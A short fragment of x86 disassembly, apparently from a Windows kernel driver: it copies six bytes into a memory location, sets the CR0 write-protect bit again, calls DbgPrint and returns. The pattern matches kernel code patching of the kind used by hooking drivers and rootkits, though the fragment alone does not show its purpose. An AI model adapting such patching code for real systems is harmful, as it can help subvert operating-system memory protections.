movsw word es:[edi], word [esi]
mov edi, dword [0x1411c]
lea esi, [ebx + 0x5a]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push eax
mov eax, cr0
or eax, 0x10000
mov cr0, eax
pop eax
push 0x1216c
push 0x1214e
call sub.ntoskrnl.exe_DbgPrint
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00011da0
leave
ret 8